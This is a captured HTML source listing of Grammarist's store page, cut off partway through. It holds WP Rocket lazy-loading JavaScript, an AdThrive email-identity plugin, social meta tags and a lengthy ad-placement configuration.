PageSourceSearch

https://grammarist.com/store/

html grammarist.com collected 2026-09-24 08:29:06 UTC 546,535 bytes, 2,251 lines download raw bytes

1<!DOCTYPE html>
2<html lang="en-US" prefix="og: https://ogp.me/ns#">
3<head><meta charset="UTF-8">
3<script>if(navigator.userAgent.match(/MSIE|Internet Explorer/i)||navigator.userAgent.match(/Trident\/7\..*?rv:11/i)){var href=document.location.href;if(!href.match(/[?&]nowprocket/)){if(href.indexOf("?")==-1){if(href.indexOf("#")==-1){document.location.href=href+"?nowprocket=1"}else{document.location.href=href.replace("#","?nowprocket=1#")}}else{if(href.indexOf("#")==-1){document.location.href=href+"&nowprocket=1"}else{document.location.href=href.replace("#","&nowprocket=1#")}}}}</script>
3<script>(()=>{class RocketLazyLoadScripts{constructor(){this.v="2.0.5",this.userEvents=["keydown","keyup","mousedown","mouseup","mousemove","mouseover","mouseout","touchmove","touchstart","touchend","touchcancel","wheel","click","dblclick","input"],this.attributeEvents=["onblur","onclick","oncontextmenu","ondblclick","onfocus","onmousedown","onmouseenter","onmouseleave","onmousemove","onmouseout","onmouseover","onmouseup","onmousewheel","onscroll","onsubmit"]}async t(){this.i(),this.o(),/iP(ad|hone)/.test(navigator.userAgent)&&this.h(),this.u(),this.l(this),this.m(),this.k(this),this.p(this),this._(),await Promise.all([this.R(),this.L()]),this.lastBreath=Date.now(),this.S(this),this.P(),this.D(),this.O(),this.M(),await this.C(this.delayedScripts.normal),await this.C(this.delayedScripts.defer),await this.C(this.delayedScripts.async),await this.T(),await this.F(),await this.j(),await this.A(),window.dispatchEvent(new Event("rocket-allScriptsLoaded")),this.everythingLoaded=!0,this.lastTouchEnd&&await new Promise(t=>setTimeout(t,500-Date.now()+this.lastTouchEnd)),this.I(),this.H(),this.U(),this.W()}i(){this.CSPIssue=sessionStorage.getItem("rocketCSPIssue"),document.addEventListener("securitypolicyviolation",t=>{this.CSPIssue||"script-src-elem"!==t.violatedDirective||"data"!==t.blockedURI||(this.CSPIssue=!0,sessionStorage.setItem("rocketCSPIssue",!0))},{isRocket:!0})}o(){window.addEventListener("pageshow",t=>{this.persisted=t.persisted,this.realWindowLoadedFired=!0},{isRocket:!0}),window.addEventListener("pagehide",()=>{this.onFirstUserAction=null},{isRocket:!0})}h(){let t;function e(e){t=e}window.addEventListener("touchstart",e,{isRocket:!0}),window.addEventListener("touchend",function i(o){o.changedTouches[0]&&t.changedTouches[0]&&Math.abs(o.changedTouches[0].pageX-t.changedTouches[0].pageX)<10&&Math.abs(o.changedTouches[0].pageY-t.changedTouches[0].pageY)<10&&o.timeStamp-t.timeStamp<200&&(window.removeEventListener("touchstart",e,{isRocket:!0}),window.removeEventListener("touchend",i,{isRocket:!0}),"INPUT"===o.target.tagName&&"text"===o.target.type||(o.target.dispatchEvent(new TouchEvent("touchend",{target:o.target,bubbles:!0})),o.target.dispatchEvent(new MouseEvent("mouseover",{target:o.target,bubbles:!0})),o.target.dispatchEvent(new PointerEvent("click",{target:o.target,bubbles:!0,cancelable:!0,detail:1,clientX:o.changedTouches[0].clientX,clientY:o.changedTouches[0].clientY})),event.preventDefault()))},{isRocket:!0})}q(t){this.userActionTriggered||("mousemove"!==t.type||this.firstMousemoveIgnored?"keyup"===t.type||"mouseover"===t.type||"mouseout"===t.type||(this.userActionTriggered=!0,this.onFirstUserAction&&this.onFirstUserAction()):this.firstMousemoveIgnored=!0),"click"===t.type&&t.preventDefault(),t.stopPropagation(),t.stopImmediatePropagation(),"touchstart"===this.lastEvent&&"touchend"===t.type&&(this.lastTouchEnd=Date.now()),"click"===t.type&&(this.lastTouchEnd=0),this.lastEvent=t.type,t.composedPath&&t.composedPath()[0].getRootNode()instanceof ShadowRoot&&(t.rocketTarget=t.composedPath()[0]),this.savedUserEvents.push(t)}u(){this.savedUserEvents=[],this.userEventHandler=this.q.bind(this),this.userEvents.forEach(t=>window.addEventListener(t,this.userEventHandler,{passive:!1,isRocket:!0})),document.addEventListener("visibilitychange",this.userEventHandler,{isRocket:!0})}U(){this.userEvents.forEach(t=>window.removeEventListener(t,this.userEventHandler,{passive:!1,isRocket:!0})),document.removeEventListener("visibilitychange",this.userEventHandler,{isRocket:!0}),this.savedUserEvents.forEach(t=>{(t.rocketTarget||t.target).dispatchEvent(new window[t.constructor.name](t.type,t))})}m(){const t="return false",e=Array.from(this.attributeEvents,t=>"data-rocket-"+t),i="["+this.attributeEvents.join("],[")+"]",o="[data-rocket-"+this.attributeEvents.join("],[data-rocket-")+"]",s=(e,i,o)=>{o&&o!==t&&(e.setAttribute("data-rocket-"+i,o),e["rocket"+i]=new Function("event",o),e.setAttribute(i,t))};new MutationObserver(t=>{for(const n of t)"attributes"===n.type&&(n.attributeName.startsWith("data-rocket-")||this.everythingLoaded?n.attributeName.startsWith("data-rocket-")&&this.everythingLoaded&&this.N(n.target,n.attributeName.substring(12)):s(n.target,n.attributeName,n.target.getAttribute(n.attributeName))),"childList"===n.type&&n.addedNodes.forEac
3h(t=>{if(t.nodeType===Node.ELEMENT_NODE)if(this.everythingLoaded)for(const i of[t,...t.querySelectorAll(o)])for(const t of i.getAttributeNames())e.includes(t)&&this.N(i,t.substring(12));else for(const e of[t,...t.querySelectorAll(i)])for(const t of e.getAttributeNames())this.attributeEvents.includes(t)&&s(e,t,e.getAttribute(t))})}).observe(document,{subtree:!0,childList:!0,attributeFilter:[...this.attributeEvents,...e]})}I(){this.attributeEvents.forEach(t=>{document.querySelectorAll("[data-rocket-"+t+"]").forEach(e=>{this.N(e,t)})})}N(t,e){const i=t.getAttribute("data-rocket-"+e);i&&(t.setAttribute(e,i),t.removeAttribute("data-rocket-"+e))}k(t){Object.defineProperty(HTMLElement.prototype,"onclick",{get(){return this.rocketonclick||null},set(e){this.rocketonclick=e,this.setAttribute(t.everythingLoaded?"onclick":"data-rocket-onclick","this.rocketonclick(event)")}})}S(t){function e(e,i){let o=e[i];e[i]=null,Object.defineProperty(e,i,{get:()=>o,set(s){t.everythingLoaded?o=s:e["rocket"+i]=o=s}})}e(document,"onreadystatechange"),e(window,"onload"),e(window,"onpageshow");try{Object.defineProperty(document,"readyState",{get:()=>t.rocketReadyState,set(e){t.rocketReadyState=e},configurable:!0}),document.readyState="loading"}catch(t){console.log("WPRocket DJE readyState conflict, bypassing")}}l(t){this.originalAddEventListener=EventTarget.prototype.addEventListener,this.originalRemoveEventListener=EventTarget.prototype.removeEventListener,this.savedEventListeners=[],EventTarget.prototype.addEventListener=function(e,i,o){o&&o.isRocket||!t.B(e,this)&&!t.userEvents.includes(e)||t.B(e,this)&&!t.userActionTriggered||e.startsWith("rocket-")||t.everythingLoaded?t.originalAddEventListener.call(this,e,i,o):(t.savedEventListeners.push({target:this,remove:!1,type:e,func:i,options:o}),"mouseenter"!==e&&"mouseleave"!==e||t.originalAddEventListener.call(this,e,t.savedUserEvents.push,o))},EventTarget.prototype.removeEventListener=function(e,i,o){o&&o.isRocket||!t.B(e,this)&&!t.userEvents.includes(e)||t.B(e,this)&&!t.userActionTriggered||e.startsWith("rocket-")||t.everythingLoaded?t.originalRemoveEventListener.call(this,e,i,o):t.savedEventListeners.push({target:this,remove:!0,type:e,func:i,options:o})}}J(t,e){this.savedEventListeners=this.savedEventListeners.filter(i=>{let o=i.type,s=i.target||window;return e!==o||t!==s||(this.B(o,s)&&(i.type="rocket-"+o),this.$(i),!1)})}H(){EventTarget.prototype.addEventListener=this.originalAddEventListener,EventTarget.prototype.removeEventListener=this.originalRemoveEventListener,this.savedEventListeners.forEach(t=>this.$(t))}$(t){t.remove?this.originalRemoveEventListener.call(t.target,t.type,t.func,t.options):this.originalAddEventListener.call(t.target,t.type,t.func,t.options)}p(t){let e;function i(e){return t.everythingLoaded?e:e.split(" ").map(t=>"load"===t||t.startsWith("load.")?"rocket-jquery-load":t).join(" ")}function o(o){function s(e){const s=o.fn[e];o.fn[e]=o.fn.init.prototype[e]=function(){return this[0]===window&&t.userActionTriggered&&("string"==typeof arguments[0]||arguments[0]instanceof String?arguments[0]=i(arguments[0]):"object"==typeof arguments[0]&&Object.keys(arguments[0]).forEach(t=>{const e=arguments[0][t];delete arguments[0][t],arguments[0][i(t)]=e})),s.apply(this,arguments),this}}if(o&&o.fn&&!t.allJQueries.includes(o)){const e={DOMContentLoaded:[],"rocket-DOMContentLoaded":[]};for(const t in e)document.addEventListener(t,()=>{e[t].forEach(t=>t())},{isRocket:!0});o.fn.ready=o.fn.init.prototype.ready=function(i){function s(){parseInt(o.fn.jquery)>2?setTimeout(()=>i.bind(document)(o)):i.bind(document)(o)}return"function"==typeof i&&(t.realDomReadyFired?!t.userActionTriggered||t.fauxDomReadyFired?s():e["rocket-DOMContentLoaded"].push(s):e.DOMContentLoaded.push(s)),this},s("on"),s("one"),s("off"),t.allJQueries.push(o)}e=o}t.allJQueries=[],o(window.jQuery),Object.defineProperty(window,"jQuery",{get:()=>e,set(t){o(t)}})}P(){const t=new Map;document.write=document.writeln=function(e){const i=document.currentScript,o=document.createRange(),s=i.parentElement;let n=t.get(i);void 0===n&&(n=i.nextSibling,t.set(i,n));const c=document.createDocumentFragment();o.setStart(c,0),c.appendChild(o.createContextualFragment(e)),s.insertBefore(c,n)}}async R(){return new Promise(t=>{this.userActionTriggered?t():this.onFirstUserAction=t})}async L(){return new Promise(t=>{document.addEventListener("DOMContentLoaded",()=>{this.realDomReadyFired=!0,t()},{isRocket:!0})})}async j(){return this.realWindowLoadedFired?Promise.resolve():new Promise(t=>{window.addEventListener("load",t,{isRocket:!0})})}M(){this.pendingScripts=[];this.scriptsMutationObserver=new MutationObserver(t=>
3{for(const e of t)e.addedNodes.forEach(t=>{"SCRIPT"!==t.tagName||!t.src||t.noModule||t.isWPRocket||this.pendingScripts.push({script:t,promise:new Promise(e=>{const i=()=>{const i=this.pendingScripts.findIndex(e=>e.script===t);i>=0&&this.pendingScripts.splice(i,1),e()};t.addEventListener("load",i,{isRocket:!0}),t.addEventListener("error",i,{isRocket:!0}),setTimeout(i,1e3)})})})}),this.scriptsMutationObserver.observe(document,{childList:!0,subtree:!0})}async F(){await this.X(),this.pendingScripts.length?(await this.pendingScripts[0].promise,await this.F()):this.scriptsMutationObserver.disconnect()}D(){this.delayedScripts={normal:[],async:[],defer:[]},document.querySelectorAll("script[type$=rocketlazyloadscript]").forEach(t=>{t.hasAttribute("data-rocket-src")?t.hasAttribute("async")&&!1!==t.async?this.delayedScripts.async.push(t):t.hasAttribute("defer")&&!1!==t.defer||"module"===t.getAttribute("data-rocket-type")?this.delayedScripts.defer.push(t):this.delayedScripts.normal.push(t):this.delayedScripts.normal.push(t)})}async _(){await this.L();let t=[];document.querySelectorAll("script[type$=rocketlazyloadscript][data-rocket-src]").forEach(e=>{let i=e.getAttribute("data-rocket-src");if(i&&!i.startsWith("data:")){i.startsWith("//")&&(i=location.protocol+i);try{const o=new URL(i).origin;o!==location.origin&&t.push({src:o,crossOrigin:e.crossOrigin||"module"===e.getAttribute("data-rocket-type")})}catch(t){}}}),t=[...new Map(t.map(t=>[JSON.stringify(t),t])).values()],this.Y(t,"preconnect")}
3async G(t){if(await this.K(),!0!==t.noModule||!("noModule"in HTMLScriptElement.prototype))return new Promise(e=>{let i;function o(){(i||t).setAttribute("data-rocket-status","executed"),e()}try{if(navigator.userAgent.includes("Firefox/")||""===navigator.vendor||this.CSPIssue)i=document.createElement("script"),[...t.attributes].forEach(t=>{let e=t.nodeName;"type"!==e&&("data-rocket-type"===e&&(e="type"),"data-rocket-src"===e&&(e="src"),i.setAttribute(e,t.nodeValue))}),t.text&&(i.text=t.text),t.nonce&&(i.nonce=t.nonce),i.hasAttribute("src")?(i.addEventListener("load",o,{isRocket:!0}),i.addEventListener("error",()=>{i.setAttribute("data-rocket-status","failed-network"),e()},{isRocket:!0}),setTimeout(()=>{i.isConnected||e()},1)):(i.text=t.text,o()),i.isWPRocket=!0,t.parentNode.replaceChild(i,t);else{const i=t.getAttribute("data-rocket-type"),s=t.getAttribute("data-rocket-src");i?(t.type=i,t.removeAttribute("data-rocket-type")):t.removeAttribute("type"),t.addEventListener("load",o,{isRocket:!0}),t.addEventListener("error",i=>{this.CSPIssue&&i.target.src.startsWith("data:")?(console.log("WPRocket: CSP fallback activated"),t.removeAttribute("src"),this.G(t).then(e)):(t.setAttribute("data-rocket-status","failed-network"),e())},{isRocket:!0}),s?(t.fetchPriority="high",t.removeAttribute("data-rocket-src"),t.src=s):t.src="data:text/javascript;base64,"+window.btoa(unescape(encodeURIComponent(t.text)))}}catch(i){t.setAttribute("data-rocket-status","failed-transform"),e()}});t.setAttribute("data-rocket-status","skipped")}async C(t){const e=t.shift();return e?(e.isConnected&&await this.G(e),this.C(t)):Promise.resolve()}O(){this.Y([...this.delayedScripts.normal,...this.delayedScripts.defer,...this.delayedScripts.async],"preload")}Y(t,e){this.trash=this.trash||[];let i=!0;var o=document.createDocumentFragment();t.forEach(t=>{const s=t.getAttribute&&t.getAttribute("data-rocket-src")||t.src;if(s&&!s.startsWith("data:")){const n=document.createElement("link");n.href=s,n.rel=e,"preconnect"!==e&&(n.as="script",n.fetchPriority=i?"high":"low"),t.getAttribute&&"module"===t.getAttribute("data-rocket-type")&&(n.crossOrigin=!0),t.crossOrigin&&(n.crossOrigin=t.crossOrigin),t.integrity&&(n.integrity=t.integrity),t.nonce&&(n.nonce=t.nonce),o.appendChild(n),this.trash.push(n),i=!1}}),document.head.appendChild(o)}W(){this.trash.forEach(t=>t.remove())}async T(){try{document.readyState="interactive"}catch(t){}this.fauxDomReadyFired=!0;try{await this.K(),this.J(document,"readystatechange"),document.dispatchEvent(new Event("rocket-readystatechange")),await this.K(),document.rocketonreadystatechange&&document.rocketonreadystatechange(),await this.K(),this.J(document,"DOMContentLoaded"),document.dispatchEvent(new Event("rocket-DOMContentLoaded")),await this.K(),this.J(window,"DOMContentLoaded"),window.dispatchEvent(new Event("rocket-DOMContentLoaded"))}catch(t){console.error(t)}}async A(){try{document.readyState="complete"}catch(t){}try{await this.K(),this.J(document,"readystatechange"),document.dispatchEvent(new Event("rocket-readystatechange")),await this.K(),document.rocketonreadystatechange&&document.rocketonreadystatechange(),await this.K(),this.J(window,"load"),window.dispatchEvent(new Event("rocket-load")),await this.K(),window.rocketonload&&window.rocketonload(),await this.K(),this.allJQueries.forEach(t=>t(window).trigger("rocket-jquery-load")),await this.K(),this.J(window,"pageshow");const t=new Event("rocket-pageshow");t.persisted=this.persisted,window.dispatchEvent(t),await this.K(),window.rocketonpageshow&&window.rocketonpageshow({persisted:this.persisted})}catch(t){console.error(t)}}async K(){Date.now()-this.lastBreath>45&&(await this.X(),this.lastBreath=Date.now())}async X(){return document.hidden?new Promise(t=>setTimeout(t)):new Promise(t=>requestAnimationFrame(t))}B(t,e=window){return e===document&&"readystatechange"===t||(e===document&&"DOMContentLoaded"===t||(e===window&&"DOMContentLoaded"===t||(e===window&&"load"===t||e===window&&"pageshow"===t)))}static run(){(new RocketLazyLoadScripts).t()}}RocketLazyLoadScripts.run()})();
4</script>
4
5	
6	
6<script data-no-optimize="1" data-cfasync="false">!function(){"use strict";const t={adt_ei:{identityApiKey:"plainText",source:"url",type:"plaintext",priority:1},adt_eih:{identityApiKey:"sha256",source:"urlh",type:"hashed",priority:2},sh_kit:{identityApiKey:"sha256",source:"urlhck",type:"hashed",priority:3}},e=Object.keys(t);function i(t){return function(t){const e=t.match(/((?=([a-z0-9._!#$%+^&*()[\]<>-]+))\2@[a-z0-9._-]+\.[a-z0-9._-]+)/gi);return e?e[0]:""}(function(t){return t.replace(/\s/g,"")}(t.toLowerCase()))}!async function(){const n=new URL(window.location.href),o=n.searchParams;let a=null;const r=Object.entries(t).sort(([,t],[,e])=>t.priority-e.priority).map(([t])=>t);for(const e of r){const n=o.get(e),r=t[e];if(!n||!r)continue;const c=decodeURIComponent(n),d="plaintext"===r.type&&i(c),s="hashed"===r.type&&c;if(d||s){a={value:c,config:r};break}}if(a){const{value:t,config:e}=a;window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(function(){window.adthrive.identityApi({source:e.source,[e.identityApiKey]:t},({success:i,data:n})=>{i?window.adthrive.log("info","Plugin","detectEmails",`Identity API called with ${e.type} email: ${t}`,n):window.adthrive.log("warning","Plugin","detectEmails",`Failed to call Identity API with ${e.type} email: ${t}`,n)})})}!function(t,e){const i=new URL(e);t.forEach(t=>i.searchParams.delete(t)),history.replaceState(null,"",i.toString())}(e,n)}()}();
7</script>
7<meta name="dlm-version" content="5.2.9"><!-- Hubbub v.2.20.0 https://morehubbub.com/ -->
8<meta property="og:locale" content="en_US" />
9<meta property="og:type" content="article" />
10<meta property="og:title" content="Shop" />
11<meta property="og:description" content="Best Selling Course: Breakthrough Copyediting and Proofreading Profit from Precision: Enhance your editing skills and discover how to earn with every meticulous edit. Start your profitable editing journey now! Learn More No products found." />
12<meta property="og:url" content="https://grammarist.com/store/" />
13<meta property="og:site_name" content="GRAMMARIST" />
14<meta property="og:updated_time" content="2025-02-11T07:27:11+00:00" />
15<meta property="article:published_time" content="2024-12-13T15:36:54+00:00" />
16<meta property="article:modified_time" content="2025-02-11T07:27:11+00:00" />
17<meta name="twitter:card" content="summary_large_image" />
18<meta name="twitter:title" content="Shop" />
19<meta name="twitter:description" content="Best Selling Course: Breakthrough Copyediting and Proofreading Profit from Precision: Enhance your editing skills and discover how to earn with every meticulous edit. Start your profitable editing journey now! Learn More No products found." />
20<!-- Hubbub v.2.20.0 https://morehubbub.com/ -->
21<style data-no-optimize="1" data-cfasync="false">
22	.adthrive-ad {
23		margin-top: 10px;
24		margin-bottom: 10px;
25		text-align: center;
26		overflow-x: visible;
27		clear: both;
28		line-height: 0;
29	}
30	.adthrive-content {
31    display: flex !important;
32}
33
34body.home .adthrive-content, body.archive .adthrive-content, body.search .adthrive-content {
35    flex: 0 0 100%;
36}
37
38body:has(.learndash-course-grid-temp-css) .adthrive-comscore.adthrive-footer-message, body:has(.cartflows-container) .adthrive-comscore.adthrive-footer-message {
39display: none !important;
40}</style>
41<script data-no-optimize="1" data-cfasync="false">
42	window.adthriveCLS = {
43		enabledLocations: ['Content', 'Recipe'],
44		injectedSlots: [],
45		injectedFromPlugin: true,
46		branch: 'cbeddd4',bucket: 'prod',					videoDisabledFromPlugin: true,
47			};
48	window.adthriveCLS.siteAds = {"betaTester":false,"targeting":[{"value":"61d8738a78c5b3001b138d66","key":"siteId"},{"value":"6233884d24019370887a32b6","key":"organizationId"},{"value":"Grammarist","key":"siteName"},{"value":"AdThrive Edge","key":"service"},{"value":"on","key":"bidding"},{"value":["Education"],"key":"verticals"}],"siteUrl":"https://www.grammarist.com","siteId":"61d8738a78c5b3001b138d66","siteName":"Grammarist","breakpoints":{"tablet":768,"desktop":1024},"cloudflare":{"version":"b770817"},"adUnits":[{"sequence":1,"targeting":[{"value":["Sidebar"],"key":"location"}],"devices":["desktop"],"name":"Sidebar_1","sticky":false,"location":"Sidebar","dynamic":{"pageSelector":"body:not(.woocommerce-page):not(.logged-in)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".is-right-sidebar","skip":0,"classNames":[],"position":"afterbegin","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[160,600],[336,280],[320,50],[300,600],[250,250],[1,1],[320,100],[300,1050],[300,50],[300,420],[300,250]],"priority":299,"autosize":true},{"sequence":9,"targeting":[{"value":["Sidebar"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop"],"name":"Sidebar_9","sticky":true,"location":"Sidebar","dynamic":{"pageSelector":"body:not(.woocommerce-page):not(.logged-in)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".is-right-sidebar","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[160,600],[336,280],[320,50],[300,600],[250,250],[1,1],[320,100],[300,1050],[300,50],[300,420],[300,250]],"priority":291,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.home:not(.logged-in)","spacing":0,"max":3,"lazyMax":3,"enable":true,"lazy":true,"elementSelector":".generate-columns-container  > article","skip":1,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.archive:not(.logged-in), body.search:not(.logged-in)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".generate-columns-container  > article","skip":1,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single:not(.postid-17538):not(.woocommerce-page):not(.logged-in), body.page:not(.home):not(.woocommerce-page):not(.logged-in)","spacing":0.85,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".entry-content > *:not(h2):not(h3):not(#dpsp-post-content-markup)","skip":5,"classNames":[],"position":"afterend","every":2,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single:not(.postid-17538):not(.woocommerce-page):not(.logged-in), body.page:not(.home):not(.woocommerce-page):not(.logged-in)","spacing":0.85,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".entry-content > *:not(h2):not(h3):not(#dpsp-post-content-markup)","skip":5,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.postid-17538:not(.logged-in)","spacing":0.85,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".entry-content > p:nth-child(2n), .wp-block-table, .wp-block-image","skip":6,"classNames":[],"position":"afterend","every":2,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.postid-17538:not(.logged-in)","spacing":0.85,"max":3,"lazyMax":96,"enable":true,"lazy":true,"elementSelector":".entry-content > p:nth-child(2n), .wp-block-table, .wp-block-image","skip":6,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"targeting":[{"value":["Footer"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop","tablet","phone"],"name":"Footer","sticky":true,"location":"Footer","dynamic":{"pageSelector":"body:not(.woocommerce-page):not(.logged-in)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"body","
48skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[320,50],[320,100],[728,90],[970,90],[468,60],[1,1],[300,50]],"priority":-1,"autosize":true}],"adDensityLayout":{"mobile":{"adDensity":0.18,"onePerViewport":false},"pageOverrides":[{"mobile":{"adDensity":0.2,"onePerViewport":false},"note":null,"pageSelector":"body.postid-28354 ","desktop":{"adDensity":0.22,"onePerViewport":false}},{"mobile":{"adDensity":0.99,"onePerViewport":false},"note":null,"pageSelector":"body.postid-17538","desktop":{"adDensity":0.99,"onePerViewport":false}}],"desktop":{"adDensity":0.18,"onePerViewport":false}},"adDensityEnabled":true,"siteExperiments":[],"adTypes":{"sponsorTileDesktop":true,"interscrollerDesktop":true,"nativeBelowPostDesktop":true,"miniscroller":true,"largeFormatsMobile":true,"nativeMobileContent":true,"inRecipeRecommendationMobile":true,"nativeMobileRecipe":true,"sponsorTileMobile":true,"expandableCatalogAdsMobile":false,"frameAdsMobile":true,"outstreamMobile":true,"nativeHeaderMobile":true,"frameAdsDesktop":true,"inRecipeRecommendationDesktop":true,"expandableFooterDesktop":true,"nativeDesktopContent":true,"outstreamDesktop":true,"animatedFooter":true,"skylineHeader":false,"expandableFooter":true,"nativeDesktopSidebar":true,"videoFootersMobile":true,"videoFootersDesktop":true,"interscroller":true,"nativeDesktopRecipe":true,"nativeHeaderDesktop":true,"nativeBelowPostMobile":true,"expandableCatalogAdsDesktop":false,"largeFormatsDesktop":true},"adOptions":{"theTradeDesk":true,"thirdPartyCmp":{"enabled":false,"vendor":null,"injectPrivacyPreferencesLink":false},"undertone":true,"sidebarConfig":{"dynamicStickySidebar":{"minHeight":1800,"enabled":true,"blockedSelectors":[]}},"footerCloseButton":true,"teads":true,"seedtag":true,"pmp":true,"sharethrough":true,"optimizeVideoPlayersForEarnings":true,"removeVideoTitleWrapper":true,"pubMatic":true,"contentTermsFooterEnabled":true,"chicory":false,"infiniteScroll":false,"longerVideoAdPod":true,"yahoossp":true,"spa":false,"stickyContainerConfig":{"recipeDesktop":{"minHeight":null,"enabled":false},"blockedSelectors":[],"stickyHeaderSelectors":[],"content":{"minHeight":null,"enabled":false},"recipeMobile":{"minHeight":null,"enabled":false}},"gatedPrint":{"siteEmailServiceProviderId":null,"defaultOptIn":false,"closeButtonEnabled":false,"enabled":false,"newsletterPromptEnabled":false},"equativ":true,"yieldmo":true,"californiaPrivacyPopup":{"privacyPolicyUrl":null,"enabled":false,"termsOfServiceUrl":null},"footerSelector":"","amazonUAM":true,"gamMCMEnabled":true,"gamMCMChildNetworkCode":"21753950937","stickyContainerAds":false,"rubicon":true,"restartStickyVideoPlayersAfterClose":true,"conversant":true,"openx":true,"customCreativeEnabled":true,"mobileHeaderHeight":1,"secColor":"#000000","unruly":true,"bRealTime":true,"adInViewTime":null,"gumgum":true,"comscoreFooter"
48:false,"desktopInterstitial":false,"contentAdXExpansionDesktop":true,"amx":true,"footerCloseButtonDesktop":true,"ozone":true,"isAutoOptimized":false,"trustx":true,"comscoreTAL":false,"bgColor":"#FFFFFF","advancePlaylistOptions":{"playlistPlayer":{"enabled":true},"relatedPlayer":{"enabled":true,"applyToFirst":true}},"kargo":true,"liveRampATS":true,"footerCloseButtonMobile":true,"interstitialBlockedPageSelectors":"body.woocommerce-page, body.logged-in","prioritizeShorterVideoAds":true,"allowSmallerAdSizes":true,"comscore":"General","blis":true,"wakeLock":{"desktopEnabled":true,"mobileValue":15,"mobileEnabled":true,"desktopValue":30},"mobileInterstitial":false,"tripleLift":true,"sensitiveCategories":["alc","ast","cbd","conl","cosm","drg","gamc","gamv","pol","rel","sst","tob","wtl"],"liveRamp":true,"mobileInterstitialBlockedPageSelectors":"","adthriveEmailIdentity":true,"criteo":true,"nativo":true,"infiniteScrollOptions":{"selector":"","heightThreshold":0},"siteAttributes":{"mobileHeaderSelectors":[],"desktopHeaderSelectors":[]},"dynamicContentSlotLazyLoading":true,"clsOptimizedAds":true,"ogury":true,"verticals":["Education"],"inImage":false,"stackadapt":true,"usCMP":{"enabled":false,"regions":[]},"contentAdXExpansionMobile":true,"advancePlaylist":true,"medianet":true,"acAlwaysSticky":false,"delayLoading":false,"inImageZone":null,"appNexus":true,"rise":true,"liveRampId":"","infiniteScrollRefresh":false,"indexExchange":true},"siteAdsProfiles":[],"thirdPartySiteConfig":{"partners":{"discounts":[]}},"featureRollouts":{"disable-kargo-spotlight":{"featureRolloutId":45,"data":{},"enabled":false}},"organizationData":{"organizationId":"6233884d24019370887a32b6","multiSiteOrg":true},"videoPlayers":{"contextual":{"autoplayCollapsibleEnabled":false,"overrideEmbedLocation":false,"defaultPlayerType":"static"},"videoEmbed":"wordpress","footerSelector":"","contentSpecificPlaylists":[],"players":[{"playlistId":"c40pst4J","pageSelector":"body.single:not(.woocommerce-page):not(.logged-in), body.page:not(.home):not(.woocommerce-page):not(.logged-in)","devices":["mobile"],"mobileLocation":"top-center","description":"","skip":1,"title":"","type":"stickyPlaylist","enabled":false,"formattedType":"Sticky Playlist","elementSelector":".entry-content > p","id":4080212,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"mobileHeaderSelector":null,"playerId":"wdhUjsC8"},{"playlistId":"c40pst4J","pageSelector":"","devices":["mobile","desktop"],"description":"","skip":0,"title":"Stationary related player - desktop and mobile","type":"stationaryRelated","enabled":true,"formattedType":"Stationary Related","elementSelector":"","id":4080214,"position":"","saveVideoCloseState":false,"shuffle":false,"playerId":"wdhUjsC8"},{"playlistId":"c40pst4J","pageSelector":"body.single:not(.woocommerce-page):not(.logged-in), 